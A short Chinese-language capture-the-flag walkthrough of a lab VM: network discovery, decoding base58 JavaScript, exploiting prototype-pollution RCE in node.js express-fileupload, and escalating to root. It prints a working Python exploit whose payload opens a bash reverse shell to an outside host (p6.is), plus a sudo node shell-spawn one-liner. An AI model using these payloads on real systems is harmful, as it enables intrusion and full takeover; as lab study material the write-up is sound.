1.常规主机侦探,sudo netdiscover -r 10.0.2.0/16
2.常规端口和服务侦探
3.cyberchet解码器,针对js代码
4.发现一个本地域名解析地址,修改etc下的hosts文件对应地址解析
5.bp抓包后在cyberchef平台上解码发现为base58编码,是一串时间的函数执行,所以
考虑使用命令执行
6.编码后提交nc串联攻击获得反弹shell,开始代码审计,最后发现node.js下的express-fileupload模块
存在参数污染远程命令代码执行漏洞,使用国外网站给的python的exp
import requests
cmd = ‘bash -c “bash -i &> /dev/tcp/p6.is/8888 0>&1”’
pollute
requests.post(‘http://p6.is:7777’, files = {‘proto.outputFunctionName’: (
None, f"x;console.log(1);process.mainModule.require(‘child_process’).exec(‘{cmd}’);x")})
execute command
requests.get(‘http://p6.is:7777’)
7.在kali本机上开启服务,新设置一个端口,用获得的反弹shell进入tmp目录下下载下来,再在目标靶机
上执行exp获得普通权限,得到普通的flag
8.三种提权方式,内核漏洞提权,suid权限配置错误,sudo权限,发现前两个都执行不了,所以sudo -l发现两个
可执行的sudo权限,发现node是一个类似于java的运行环境,
利用node反弹shell,sudo node -e ‘child_process.spawn(“/bin/bash”,{stdio:[0,1,2]})’
9.成功得到root权限,拿到/root目录下的root权限的flag,打靶完成